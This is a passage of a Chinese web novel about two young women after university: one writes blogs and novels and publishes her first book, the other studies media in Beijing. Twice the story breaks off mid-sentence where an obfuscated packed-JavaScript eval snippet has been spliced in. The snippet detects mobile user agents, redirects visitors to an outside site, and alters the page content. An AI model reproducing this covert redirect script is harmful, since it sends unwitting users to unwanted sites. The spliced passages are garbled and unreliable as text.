林羽翼嘴唇抿紧,脸上笑容彻底消失。 等了几秒。 王心宜正要转开话题,林羽翼却出声了。 “心宜姐,我没出国。”林羽翼语气冰冷,不是故作冷漠,而是因为情绪低落,声音太低,显得很冷,她低头看着路面上短短的影子,补充道,“没能出国。” 师涟与她牵着的手指,一下子加大力度。 “为什么?没、没能出国?怎么会呢!”王心宜眼睛瞪大,“去年那时候,你不是说什么都办好了,就差签证了吗!” 林羽翼唇角勾起一丝意义不明的笑,简短地说:“跳江的事情被媒体报道,学校老师看见了,他们误以为我因为感情纠葛自杀——可能是这个原因吧,总之,我没有通过最后的审核。” 说完,不仅是王心宜震颤地张着嘴瞪大眼,身后,王登高的步伐更是一下子停住,整个身体都变得僵硬。 林羽翼话里话外就一个意思。 王登高跳江,害她出不了国。 耽误了她的大好前程。 林羽翼知道自己不该把这话说出来,就算要说,也应该说得更委婉一些。她知道这不能完全怪王登高,可她心里堵,心里闷,她就是想说。 她不仅想说,她还想大哭大闹,想要歇斯底里,彻彻底底发泄去年的那些委屈。 林羽翼用力地从喉咙深处吐出一口气,她没有哭没有闹,更没有歇斯底里,黑沉沉的脸上抿出一个笑,她挽着王心宜的手臂,晃了晃: “没关系了,心宜姐。这一年我在国内过得也不错。去年我在宠物医院实习了三个月,这会儿马上要毕业,我很快能正式工作了。” 林羽翼没有把自己放弃春招,转而去写作的事情告诉王心宜二人,一是怕他们不理解,二是因为……她对王登高已经有了信任裂痕,便没那么容易修复。 一行人沉默地走回村里。 小院的模样倒是让林羽翼眼前一亮。 林羽翼大学时期只偶尔回一趟家,每次回来,把屋子院子收拾得勉强能住人就行了,整体看上去还是乱糟糟灰扑扑的,而现在,原本杂乱的院落被收拾得干干净净,满地散着腥腐味的落叶消失无踪,硬化过的院子路面上洒满了阳光,被烘烤出一股淡淡的甜味。 堂屋那儿呢?原本是老旧的木门,几年前被催债人用红漆喷得乱七八糟,林羽翼拿漆再泼了一层便没再管过,这会儿那个脏兮兮的旧木门已经消失,被换成了崭新亮堂的实木门。 王心宜敲敲木板子:“不错吧?我们去家具厂搬来的,我让你哥在那儿卖了两三天力气,地震,缺人嘛,老板给他结了工资,还白送我们几扇门。” 林羽翼迈步往堂屋走,王心宜却牵住她的手腕,指指旁边的卧室:“你和涟涟住卧室里,我都打扫干净了,床都给铺好了。我和你哥一块儿住外边。” “以前……”林羽翼低声说,“都是我和我哥一起睡堂屋,中间拿木板和帘子隔着。” 王登高大多数时候都不在家,其实几乎是林羽翼一个人睡堂屋。 堂屋环境不好,又潮湿又阴暗,还没有窗,但林羽翼早习惯了。 “以前是以前!”王心宜笑着摆摆手,“现在是大姑娘了,得有自己的房间呀!诶诶诶,妹妹,我和你哥已经在堂屋住了好几天,你可别想赶我们走。” 她把林羽翼推进卧室:“小鸟,小涟,我和你哥去弄点儿菜,准备今天的晚饭,有什么问题叫我就成!” “……好。” 林羽翼隐约记得,以前父亲住在这间卧室时,他不爱开窗,不爱开灯,这里永远是阴沉沉湿漉漉的。 而现在,卧室玻璃窗是大打开的,光线明亮,温暖微甜的空气从外边涌进来。原本摆在中间的大床被挪了个位置,抵在墙边,床上铺着新买的淡粉色床单,下面明显还垫了几层棉花垫,整张床看起来软乎乎的。 林羽翼走近看才发现,连床都换了张新的,以前老旧的木板床不见了,被换成了铁艺床,上面搭着席梦思。 她刚才隐约瞟到了堂屋里,那边依旧用的是木板搭的旧床,拿帘子隔着,隔开吃饭的地方。但屋子打扫得非常干净,非常温馨,仿佛王心宜和王登高二人,已经在这里住了很久很久。 四年来,林羽翼第一次有了种回家的感觉。 回到了温馨的、正常的家里。 她坐到柔软的床垫上,有些鼻酸。 师涟正站在窗边,迎着阳光,仰头看院子外的树荫风景。风吹过时,她微卷的长发往后飘飘扬扬,带起一丝丝金灿灿的光影。 林羽翼抬手,无声地朝她勾了勾。 有心灵感应似的,师涟回头,看到她勾起的手指,眼中漾起温柔的笑:“嗯?” “师涟,我想借你的肩膀靠靠。” 林羽翼拍拍床旁边的位置,师涟坐过来,她便熟稔地脑袋歪过脑袋,靠在上边。 温热的风从窗外涌入,轻柔掠过她们的发尾。 沿着阳光洒入的方向往外看,能看见隐隐绰绰的竹影。 安静地靠着师涟坐一会儿,林羽翼心绪彻底平静下来。 回到了家里,漂泊的身躯有了安定,林羽翼的思绪却不自觉漂向远方,思考起遥远的未来。 “师涟,你毕业后有什么安排吗?我、我指的是你在清北读完研究生毕业后的安排,是继续读博士,还是留在京城工作?”林羽翼嗓子忽的卡了一下,似乎是一口痰不上不下卡在嗓子眼儿,让她的声音变哑,“师涟,你应该已经确定了去清北读研的事儿吧?” “嗯,确定了。”师涟点头,她的声音异常笃定,目光同样坚定。 大地震之前,师涟一直在犹豫,在纠结,在痛苦,她不想离开蜀都,她想要守护在某个人……某个挚友身边。 她甚至已经给自己找好了退路,去面了蜀都电视台。 如果不是地震,她可能真就留了下来。 但这场地震改变了她的想法,在学校里枯等林羽翼消息的那几个小时里,那几个痛苦空洞无助的小时里,她忽然意识到,如果她不肯出去闯一闯,如果她继续这么按部就班地得过且过着,那么她永远都只能像现在一样—— 什么都做不到,什么都保护不了,什么都改变不了。 林羽翼被造谣时她无法抑制谣言的传播,林羽翼被取消出国资格时她更什么都做不了,林羽翼亲历地震时她无法第一时间赶往她身边。 现在的她保护不了林羽翼。 师涟不知道具体要怎样做才能变得更强大,才能保护林羽翼,她只知道,如果维持现状,那么什么都改变不了,她唯一选择是出去闯一闯。 闯去更远、更高的地方。 带着满腔迷茫,为了一个不可知的未来,奋不顾身地闯去吧。 这些话,师涟自然不会说给林羽翼听,她只是说:“等下个月拿到毕业证书,我就去京城。” “好,加油。”林羽翼用力点点头,或许是因为早已做好了心理准备,一时之间倒没有多失落,更多的,是对师涟的祝福。 师涟呼口气,轻声问:“你呢?” 林羽翼往前倾,撑着下巴,思考着:“我想在广都租个房子,用来全职写作,长篇小说、杂志社约稿,还有博文,有规划地一步一步来。先慢慢挣够钱,还清我哥的欠款,然后……走一步看一步。” “在广都租房?”师涟问。 林羽翼点头:“我想,广都是个写作的好地方。” 那里既有小城镇的繁华一角,又有郁郁葱葱与世隔绝的城郊森林。林羽翼可以及时地接收到各类新消息,又可以在烦累时找到一处放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368729|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松心灵的休憩之所。 更重要的是。 林羽翼习惯住在广都了。 高中三年,再加上大学在师涟家借住的这些日子,她已经喜欢上了这座位于城南的小城市。 比起村子,她更想在那里生活。 “我陪你看房?” “好。” 这回,师涟没有再邀请林羽翼继续住在她家。 她们都毕业了,长大了,进了社会,不再是需要依靠长辈的小孩了。别说林羽翼,就连她自己,都更倾向离家而居。 “会有点不安吗?”师涟接着问。 “不安?” “比如说,对未来的迷茫。” “嗯……还好啦。”林羽翼轻松地笑,“博客上个月的广告分成费还挺高,再加上我的第一本长篇小说即将完结,稿费很快就能到账!噢,还有杂志社找我约稿呢,千字五百元稿费,怎么看,我都是前途一片光明。” 这些话是对自我的打趣,也是林羽翼对对未来的真切期望。 “你呢?师涟你会觉得不安,会觉得迷茫吗?” 师涟低头,唇角抿着一丝笑,许久,她给了林羽翼一个意料之外的回答:“会。” “诶……!”林羽翼一下子抬起头,一直以来,师涟都把自己的生活规划得井井有条,她的人生轨途清晰可见,从未有过迷茫,林羽翼不免担忧,“你是担心一个人去外地生活,会水土不服吗?” 师涟抿着唇,回答含糊:“……或许是吧。” 她的手指一点点蜷起,迷茫的语气渐渐坚定:“不过有一点可以确定,未来的某一天,我一定会回蜀都。” 有些时候,走得更远,不是为了离开,而是为了……更好地回来。 “嗯!”林羽翼重重点头,“我等你回来。” “你呢?你不去别的城市看看?”师涟反问。 “不去了不去了,广都就好。”林羽翼连连摇头,可紧接着,她撑着下巴,喃喃自语道,“等以后把债还清了,再看吧……有机会我还挺想出去旅游,唔,或者旅居。” “会有机会的。”师涟声音很轻,却笃定。 “必须有机会啊!我们高中的时候约定一起去看海,都还没看呢!还说去迪士尼玩儿,也没去呢!”林羽翼用力道。 …… 回到了新村的家里,睡在崭新的柔软的床铺上,和师涟相拥而眠,林羽翼睡得却并不踏实。 好像溺在了一场场光怪陆离的梦里。 可是醒来,什么都记不清。 月光沿着窗缝斜斜地洒进来,一直延伸到床边。林羽翼揉揉眼睛,借着这一丝月光,看清了房间里的景象。 师涟面对她侧睡着,睡颜恬静,手指懒懒落在枕边,一缕长发散在指缝间。 暗淡月光下,林羽翼看不太清晰,就算凑近了,呼吸快要挨到呼吸,也依旧看不清。 她心里泛起一丝丝的,空落落的,酸涩的感觉。 忽然就回想起了那首歌—— “长亭外,古道边,芳草碧连天。” 高中毕业典礼上,林羽翼坐在高三观众席上,听着高一高二的学妹学弟齐唱这首离别之歌时,心里没有一点儿波澜。 深夜里,她近距离看着师涟模糊的脸庞,忽的回想起这首歌,心里翻涌着无尽的别离之酸楚。 林羽翼悄悄地退出被窝,她不能再看师涟的脸了,再看她会想哭的。 她轻盈跳下床,小心翼翼地推开木门,新门螺栓很顺畅,一点儿“嘎吱”声都没有。 “呼啊……”林羽翼坐在院子门槛上,吹着夜里扑面凉风,心绪依旧惆怅。 离别啊。 至少三年为期的离别。 她撑着下巴,思绪飘飞间,院子左侧旱厕的门忽然“嘎”地被推开,王心宜从里面走出来。 “小鸟?”王心宜被林羽翼吓一大跳,“你大半夜不睡觉,在这儿坐着干嘛呢?” “睡醒了,觉得闷,来吹吹风。”林羽翼轻声道。 “闷?”王心宜小心翼翼坐到她身边,斟酌着说,“是因为你哥吗?他……” 她不知道该如何说下去。 最终,她叹口气:“出国这事儿,唉,如果我是你,我也没法原谅他!他就是个混蛋!” 王心宜一手指天,骂得义愤填膺,胸腹起伏不定。 林羽翼被她逗笑了,唇角轻轻往上勾,等王心宜骂声停止,她轻声问: “心宜姐,谈恋爱是什么感觉?” 这是林羽翼第三次问王心宜类似的问题。 第一次,是高中毕业的暑假,她不知道、不确定、不敢确定王心宜和王登高的关系,王心宜和王登高自己也不确定。 第二次,是在去年,她隐约察觉到,王心宜似乎和王登高的关系,在悄然间发生了改变。 这一次,林羽翼完完全全确定,王心宜就是在和王登高谈恋爱。 不止是谈恋爱。 甚至有些像是……老夫老妻。 他们一起把杂乱荒废的院子收拾干净,一起把灰尘漫天的旧屋打整得温馨明亮,一起做饭,一起入夜洗漱,一起休息。 这就是一家人。 就是夫妻间才会做的事。 “谈恋爱的感觉啊……”王心宜撑起下巴,仰头看着夜空中的一轮明月,眉眼柔软地弯起一个弧度,她正要回答林羽翼的问题,声音却忽然一滞,她偏过头,看着林羽翼,似是察觉到什么,问道,“小妹妹,你在谈恋爱吗?” “我……” 林羽翼迷茫地、缓慢地摇摇头。 王心宜没再追问她,温柔笑着,缓缓说:“谈恋爱是什么感觉啊,怎样才算是谈恋爱啊?” 她的尾音勾起。 “我像你这么大的时候也不懂,那时的我,不懂得什么是爱,不懂得怎样去爱一个人,更不懂得爱自己。我以前以为,两个人亲亲嘴儿,上个床,便是恋爱了。可现在我才懂,原来相爱,是心与心的碰撞,灵魂与灵魂的交织。哈,当然,我可想不出这么肉麻又有文化的话来,这是我在言情小说里看到的,我觉得还挺有道理。”王心宜温柔笑笑,没有打趣林羽翼,她的手指轻轻抚过林羽翼被夜风吹乱的短发,“林小鸟,以后,等你再长大一些,长到我和你哥哥这个年纪时,自然会明白恋爱是什么感觉。” 52.第5章 六月初。 这是林羽翼最后一次回到学校。 最后一次走在银杏大道的树荫下,嗅着四周清新的空气,听着来往学生们的轻言细语,遥望着远处的雅城山脉,林羽翼没有一丝不舍。 她心里更多的是激动。 对她来说,大学生活是什么样的呢? 在这四年里,她学会了为自己拼命努力,学会了自律,她有了非常、非常明显的成长。她见过了更广阔的世界,摸索着找到了未来行进的方向。她经历过背刺与不公,她痛苦过迷茫过,直到现在回想起来也依旧痛苦,但她早已在向前看。 对林羽翼来说,大学四年时光,是一个跳板。 助她跃向无边世界的跳板。 因此,她不需要怀念什么,她只要闭眼往前腾空跃起便好,迎着风,感受着心脏有力的跳动,什么都不用想。 林羽翼回到宿舍时,其他室友已经到齐了,她一开门,五双眼睛齐刷刷盯向她,盯得林羽翼鸡皮疙瘩起了一身,不自在地后退半步:“怎么啦?” “林小鸟,如实招来,这是不是你!”寝室长拉着林羽翼,把她拉到自个儿的笔记本电脑边,指着屏幕上的博客主页,“一只飞翔的鸟儿”。 “啊,这……”林羽翼脸红,她没想到自己的博客火到这种程度,竟然连室友们都看到了,“你们怎么知道这是我?” “怎么会不知道呢!”寝室长一篇篇点开她的博文,“我们寝室里就只有你一个人亲历了地震,还加入学校的志愿者团队,在那边排查养殖场。唔,还有以前的博文,去电脑城打工,去宠物医院实习。还有这名字,飞翔的鸟儿,不是你林羽翼还能是谁?” 林羽翼没有回答,她看着室友一篇篇翻看自己的博文,心里有种奇妙的感觉,又害羞,又自豪,脸烫得厉害。 室友们看见她红彤彤的脸蛋,便知道自己猜对了,激动围在她身边: “不得了啊不得了,我们寝室居然出了一个大作家!林小鸟你可真了不得!” “这叫什么?博客写手,网络红人!” “林羽翼,给我签个名吧!苟富贵勿相忘啊嘿嘿嘿!” 室友们嘻嘻哈哈地聊完博客,又把注意力转移到林羽翼的小说上: “对了林小鸟,我记得你还在网站上写小说来着?你的笔名是什么,我去瞻仰瞻仰你的大作呗!” “……不是什么大作。”林羽翼红着脸报出了自己的笔名和作品。 下一秒。 室友脸上的肌肉明显抽搐了一下,满脸不可置信。 《回到九零:后妈难当》(注1) “林羽翼,这、这是你写的小说?”室友的声音都在飘。 “怎么?你以为我会写严肃文学呢?”林羽翼揉揉脸,毫不在乎地笑笑,“狗血言情小说又怎么啦?我们写故事的,就是得学会雅俗共赏嘛。” 她会写严肃的新闻稿,会写引人深思的哲学道理,会写轻松快活的日常记录,也会写狗血的网络小说。 至于严肃文学…… 林羽翼还没那本事。 至少现在没有。 更重要的一点是,比起在文化造诣上的追求,目前的她更需要钱。网络小说正是风口,林羽翼能靠写网文赚到大笔钱,那她就写呗。在她看来,文字没有高低贵贱。 其次,她爱写作,爱创作,但在自己生活都没法保证——在背着几十万债的情况下,她有什么资格去空谈文学梦? 梦想?她得先把钱赚够。 …… 挖出林羽翼博客账号的人不仅有她的室友们,还有岳程成。 毕业典礼那天,林羽翼刚走进礼堂,他便觍着脸凑近,桃花眼弯起,笑得人畜无害:“林羽翼,你的博客火啦?” 林羽翼斜睨他一眼,没答话。 岳程成脸上笑容明显尴尬地滞了滞,眼底闪过一丝阴沉的情绪,他努力维持着笑,不依不挠地接着问:“听说网络红人可赚钱了,你写一篇博文能赚多少钱?哈哈,我就知道,像你这种有能耐的人,就算不出国,也能在别的地方做出成绩来。” “赚多少钱?”林羽翼慢条斯理地说,“打赏费你自个儿看得到,一篇博文最多百来块。” 百来块?一个月也赚不了多少钱嘛! 岳程成脸上肌肉动了动,明显松口气,强装出来的讨好笑容消失了,眼里浮现出一缕缕傲慢:“林羽翼,你加油写啊,总有一天会出头的。不过我觉得,写作始终不稳定,以你的家庭情况,还是找个稳定的工作好,最好再找个有钱男人,早早结婚,让人家帮帮你,不是吗?” “哦。” 林羽翼看着他远去的背影,毫无情绪地笑了笑。 她没有透露自己的真实收入,倒不是她宽宏大量懒得打脸,不是她不想证明自己,她可想了,她恨不得把博客后台的收入页面狠狠甩在岳程成脸上,欣赏他震惊后悔的表情。 可是她忍住了。 岳程成这种小人,除非能把他一脚踩在脚底,不然还是别惹了。林羽翼已经吃了一次亏,再不会吃第二次。 看,她还学会了隐忍。 她真的长大了不是吗? …… 穿上学士服,左手抱着毕业证,右手捧着小雏菊,这就毕业了。 林羽翼和其他毕业生一样,站在礼堂里,仰着头,远远望向大礼堂中央的位置,那里站着这一届动物医学院的优秀毕业生,元培曼。 聚光灯打在她身上,影子在背后的墙壁上拖得很长。 林羽翼抬头,第一眼看见了元培曼的影子,往下,紧接着才看见她的人。 元培曼站得笔直,脸上带着自信的微笑,她拿起麦克风,目光不缓不急地扫过整个大礼堂,慢慢开口道:“尊敬的各位领导,各位老师,亲爱的同学们……各位大家好,很荣幸作为本届优秀毕业生在这里发言……” 林羽翼的目光往元培曼身后移,那里坐着学院里的领导与老师,她看见他们的目光也集中在元培曼身上,眼中满是欣赏与自豪。 从大一到大四,元培曼始终是动医院的绩点第一名,并且她在去年考过了托福,成功去往美国留学,这几天才抽空赶回学校。 林羽翼再往前看,礼堂里一排排同学仰着头,仰视着聚光灯中央的元培曼。 林羽翼听见元培曼在讲: “……今天,我能以绩点第一的成绩站在这里,与我四年来的辛苦努力脱不了干系。从大一开始,我便保持着一天八小时的学习时间……” 八小时啊。 林羽翼感慨地算了算,自己一天的学习时间差不多是六小时,只差两小时。 她的绩点离第一名只差0.3分,这还是在她大三摆烂了整整半年的情况下。如果她大三下学期没有放弃学习,她的绩点只和第一名相差0.1分。 林羽翼不由得想,如果大一大二的时候,她每天多学一两个小时,是不是,就能突破0.1分的差额,考到第一名呢?如果她考到了第一名,这时站在台上的人会不会是她呢?如果是她,老师们是不是就能抛却对她的一些偏见与不理解,让她顺顺利利地出了国呢?如果…… 没有如果。 林羽翼只是第二名,一直都是。 在大学,第一名是天才,第二名……大概只是个籍籍无名的路人吧,只是一个“善于应付应试教育”的普通学生。没有人会注意到第二名,所有人的目光都在第一名身上。多么耀眼,熠熠生辉。 真好。 林羽翼远远地、认真地、用力地仰望着台上的元培曼。 她在心里想,祝我们各自在各自未来的道路上,越走越远,展翅高飞吧。 她在想,她没法在学校里熠熠生辉,那就离了学校,在别的地方发光吧。 她相信。 会有那么一天。 …… 林羽翼毕业后的生活很规律。 她给自己写了一份密密麻麻的日程安排表挂在墙头,从早晨七点半起床洗漱开始,便严格按照着日程表的安排,扒文拉片、摘抄学习,浏览博客、了解时事新闻,写小说、写博文、给杂志社供稿。 到了锻炼的时间,林羽翼便沿着小区外的人行道,一路跑去隔壁,师涟家小区—— 林羽翼租住在广都城郊的安置小区里,和师涟家的新房子只隔了一条街。虽然是安置房,却修了电梯,价格也非常便宜,性价比很高。 于是林羽翼趁着空余时间,跑去师涟家,帮忙盯一盯装修。 装修是个麻烦事儿,找施工团队、选材、泥工瓦工逐步进场、水电改造……每一步都非常麻烦,一不小心就会掉陷阱里。 师叔叔在外地跑市场,孙阿姨要看着店,师涟更是跑京城上学去了,一家子都没太多时间,林羽翼既然住得近,有空的时候便去帮忙盯着,监监工。 去装修工地的次数多了,林羽翼渐渐也看出些门道,她跟着孙阿姨去了几次基装市场,一回家,便噼里啪啦地敲出“装修日记”系列博文。 一天到晚,林羽翼的时间安排得密不透风,但或许是每日都这么规律的原因,她倒不觉得忙,不觉得累,只觉得时光如烟一般消逝着,摸不清看不着,等她反应过来时,已经过去好久好久。 师涟那边却是另一番景象。 她的研究生生活,忙得一塌糊涂——如果只是忙碌,还不至于糟糕至此,她的生活太“乱”了,乱成了一团怎么理也理不清的毛线团。 传媒研究生的基础课业倒是不多,都是些理论课,学知识、学研究、学历史、学未来,对于师涟来说,这部分课业并不困难。 不仅算不上难,甚至非常轻松。比如电影赏析课,学生们围坐在教室里,吃着蛋糕看着电影,轻快地聊着天,这哪儿是上课?分明是聚会嘛! “输入”并不难,难的是“输出”。 难的是一节节研讨课,以及研讨课后的创作作业。 谁都能轻松掌握理论知识,可实践呢?哪有那么容易! 你能完完整整一帧一帧地分析一部好电影,难不成代表着你能拍出同样的惊世名作?你能从一篇简约明了的新闻稿里汲取激励与力量,难不成代表着你能写出同样简洁有力的稿子?你能被一张精美绝伦的摄影照片所震撼,将它的构图与光影铭记于心,难不成代表着你能拍出同样震撼人心的佳作? 答案是不能。 一部惊世电影里,故事剧本、音效剪辑、美术设计、镜头语言,还有演员发挥如何、是否贴近角色,一个要素也不能少。 一篇简洁明了却满是感染力的稿子,是由数不清的废稿堆砌而来。 一张构图与光影皆是完美的照片,是一次次摁下快门键,千次百次万次后,终于捕捉到的那一个瞬间。 更要命的是,师涟不是一个人,她得和别的同学进行团队合作,一起完成这些创作型的作业。这代表着,她得配合其他同学的时间,得和他们不断商讨、不断修改方案,她一个人做到合格,甚至做到完美都不行,必须要所有人一起合格。 进行拍摄作业时,团队里某一个人的状态,都可能影响整个拍摄进程。 除此,还要考虑设备和场地——大家都是学生,买得起什么好设备?大多数设备是租的,场地是借的,在协调好团队内部的同时,师涟还得注意着设备的租期、场地的使用时间,而这些,都不是她一个人能做主的。 师涟的课余时间变得极不可控。 她以前习惯了事事做好计划,把一切都安排得井井有条,现在却不得不过上充满变化与冲突的杂乱的生活。 师涟很不习惯。 但就算这样,她依旧咬着牙,用为数不多的课余时间组了个兴趣小组,她担任策划兼导演,组织兴趣组里的同学一块儿拍视频,剪辑后发到网上。 这几年里,网络小说风靡全国,同时,随着互联网的发展,上网浏览视频特变得越来越简单,上传视频受到的限制也越来越少,师涟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389093|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐隐约约地察觉到,网络视频也会如网文般,成为下一个风口。 这本来就和她专业有关,她想试一试。 现在网络上几大主流视频平台上,原创视频几乎都以科普类视频为主,剩下一小部分则是杂乱无章的生活片段,还有很少一部分游戏视频。总的来说,原创视频不多,有的时候上传者运气好时,只需要给视频取一个吸引人的标题,不管内容质量如何,都能取得不错的观看量。 相比起来,国外的原创视频内容就要丰富、成熟许多,助眠ASMR、生活学习VLOG、原创动画短片、小短剧,各种高质量新鲜内容层出不穷。 师涟考虑了很久,最后决定,从“故事型小品”开始创作,故事主题是“研究生的一天”,既贴近生活,又能勾起大众的兴趣。 现在平台几乎以三十分钟的长视频为主,但师涟决定把每个视频的篇幅控制在7-15分钟内。她感觉,随着网络的发展,当手机也能方便的浏览视频后,网络视频必定朝着“轻量化”的方向发展。 其次,作为课余兴趣小组,她们没有时间精力去创作长篇作品。 故事框架是师涟和团队成员一同商量出来的,就以他们的生活为蓝本,至于剧本细节嘛…… 师涟想到了林羽翼。 她把大纲框架发给林羽翼,由林羽翼创作剧本。等视频出了成绩有了收益,她再返还给林羽翼稿酬。 时间就这么混沌地一天天过去,昼夜不分、杂乱不堪,但过得飞快。 …… 流年匆匆。 接下来一年里,林羽翼稳定每天六千字的更新速度,总共写完了四本中长篇小说。 她的小说算不得火爆,平均下来一本书只赚个两三万订阅费,比起那些一本书就能赚大几万甚至十来二十万的大神,她只是个小透明。但她胜在更新稳定、产出不断,一年的稿费加起来也算是非常可观了。 在地震结束后,林羽翼便很少接到杂志社的约稿,但她的博文以另一种方式登上了杂志—— 竟然有编辑直接“买”走她的博文稿子! 不仅仅是那几本最出名的故事杂志,林羽翼甚至在作文辅导书里见过自己的博文呢! 高中的时候,她还艰难啃着作文书,而现在,她的文章竟然也能被别人“啃”了。 日子越过越规律,林羽翼在博客上面的更新也就越来越少——一成不变的生活,实在想不出什么新题材。于是她开始写散文,写花草,写云卷云舒、日升日落,写路边遇见的小猫小狗,写夜晚锻炼时认识的小吃摊贩,她写自己看见、遇见的一切,更是写自己的心境。 散文的受众自然比不过她以前写的那些话题十足的生活经历,林羽翼因此流失了一大批粉丝,剩下那批完完全全便是被她的文笔说吸引、所感染,林羽翼每一次更新,他们都会齐聚在留言区,一同探讨林羽翼的文字,亦或是分享自己的经历。就算林羽翼没有更新,他们也会在留言区与她道早安晚安,一日一日,雷打不动。 有了这批“文学粉”,林羽翼在博客的收入不但没有下滑,反而比以前更稳定了些。 用后来的话说,便是她有了“基本盘”。 9月份,博客更新换代,崭新的“微博”出现在大众视野。和长篇大论的博文相比,微博就讲究个“微”字,篇幅只能在两百字以内。 新的平台无疑给老平台带来了一些冲击,甚至有部分博文红人联合起来抵制微博,说什么以后有了微博,博文的广告分成就会降低!这是资本在压榨创作者! 那些人还找上了林羽翼,邀她加入抗议活动中。 林羽翼没有答应。 她稍稍观察几天后,便毫不犹豫地加入微博平台。她认为,有些时候,创作不仅需要长篇大论,更需要短小精悍,她还正愁自己无事呻吟写出的一两句诗歌般的句子没地儿发呢! 林羽翼的最后一部分收入,来自师涟——作为剧本的稿酬。 师涟拿着林羽翼的剧本,拍出小短剧,上传到视频平台,还真拿到了平台的激励费! 但林羽翼没收师涟的钱,倒不是因为不好意思,她把钱退给师涟,说:“你就把我的稿子当做一笔投资款,等以后你拍的片子出名了,上了电视,挣了大钱,再给我分成。到时候你是师大导演,我就是你的御用编剧。” 电话那头,师涟笑意清浅,尾音微扬:“几个千字小剧本,便当做未来一辈子的投资,是否有点空手套白狼呢?” “师大导演不乐意?”林羽翼眉眼弯起,笑。 “……” 安静片刻,她听见师涟的笑声呵在听筒里,气息几乎抚过她的耳廓:“你说呢?” “我说你乐意。” “行。”师涟勾起唇角,“你说行,那便行。” 师涟熬过了繁忙的研一,可研二的生活一点儿没有好转,反倒更忙。 好在,师涟渐渐习惯了这样的生活,习惯了忙碌,也习惯了繁杂。 这一年,她有幸接触到商业电视剧的拍摄,她抓住机会,拜了那位大导演为师,有空便跟着剧组到处跑,在剧组里学习的同时,还挣点儿小费—— 卖明星签名呀! 师涟怎么也想不明白,为什么那些粉丝会为了一张小纸片追到剧组来,为什么能够因为这么张纸片欣喜若狂,甚至愿意出天价把它买到手。 师涟不明白,但她明白一点,那就是她可以用这个机会,赚一笔钱,就像她爸妈做生意赚钱,就像她拍短剧赚钱那样。 林羽翼规律的一年一晃而过,师涟忙忙碌碌的一年一晃而过。 转眼到了2009年最后一天,林羽翼收到了一份提前的新年礼物。 这是她2010年的第一份新年礼物,同时,也是她这辈子收到过的…… 最好的新年礼物。 她的长篇小说出版审核通过了! 这将是她的第一本出版文!这代表着,她能在书店看见自己的作品了。 53.第6章 这是林羽翼的第一本出版文,版税不高,只有5%,第一批印刷也不过五千本,最后能拿到林羽翼手上的,不到一万元。 但林羽翼已经很开心了,俗话说得好,有一就有二,她和出版社有了第一次合作,还怕没有接下来的第二次、第三次吗! 而且啊,出版代表着什么?代表着她不再仅仅是“网文作者”、“博客红人”,她是“作家”了!出了书的小作家! 林羽翼继续过着规律又平淡的生活,一边开始漫长的等待—— 修稿,等反馈,修稿,等反馈,等啊等…… 林羽翼终于收到样书,已经是小半年后了。 花花绿绿的封皮上,漂亮艳丽的女人与男人相拥,抬头印着几个花哨的大字:《九零年代之后妈难当》。 林羽翼:“……” 说实话,她实在欣赏不来这花里胡哨的封面,可她本来就写的是这种狗血言情小说,受众就是喜欢花里胡哨的小女生,要是把封皮弄得高端典雅,反而没人会买。 嫌弃归嫌弃,拿到书的那一刻,林羽翼还是没忍住把它紧紧抱在怀里,手指反复抚过封皮,翻开书页,抚过纸页,感受着上面细细的纹路,大脑一点一点被成就感冲击着,冲得她整个人都晕乎乎。 不管怎么说,这是她的第一本出版文! 她,有出版文了! 林羽翼抱着书本摸了好一会儿,才不舍地放下它,拿出手机框框一顿拍,把照片发给师涟: 【师涟,我收到出版社寄来的样书啦!】 林羽翼等了一会儿,没等到师涟回复——考上研究生后,师涟忙得一塌糊涂,尤其是研二开始,她跟着剧组到处跑,时不时跑没有信号的深山老林里去,好几天回不了消息是常事。 师涟没有立刻回复,可林羽翼那颗心依旧灼灼地跳着,她按捺不住激动的心绪,拨通电话: “心宜姐。” “嗯?”电话那头,王心宜喝口水,笑意慵懒,“这不是我们林小鸟吗?难得你还记得姐姐我呢。” 林羽翼心虚眨巴眼。 她已经很久没和王心宜联系过了。 去年,她毕业后没多久,王心宜就和王登高一块儿回了沪城。他们离开的那天没有通知林羽翼,林羽翼也没有去送他们。 林羽翼心里始终别扭,不愿意想起王登高,也不愿意见他,后来她心底别扭的情绪渐渐消了些许,可生活规律又忙碌,她没有多余的时间刻意与王心宜二人保持联系——或许是没有时间吧,也或许是习惯了不联系。察觉到她的抗拒,除了逢年过节打一通祝福电话,王心宜同样很少主动联系她。 “心宜姐,我……”林羽翼小小声,结巴一下。 “你什么你?许久没联系,还学会和姐姐客套上啦?”王心宜笑着说,“没关系,小妹妹,在我这儿,只要你愿意认,我始终是你的心宜姐。我们谁跟谁呀?说吧,有什么开心事儿想和我分享?” 林羽翼舔舔唇,从头说起:“心宜姐,毕业后我一直在家写作嘛,今年初,我的第一本书通过了出版社的审核,编辑刚刚把样书寄给我,过几天就能在书店里看到它啦!” 林羽翼越说越激动,刻意轻描淡写的语气渐渐飘飘飞飞。 “出版!”王心宜声音陡然上扬,她隐约知道林羽翼毕业后一直在写作,也知道林羽翼靠着写作养活了自己,但出版就是另一个概念了,这代表着林羽翼的书会被摆在书架里,是出名作家啦,“小鸟,你、你真出息啊!我就知道……像你这么努力又聪明的小孩,不管在哪儿,不管做什么,都能发光!” 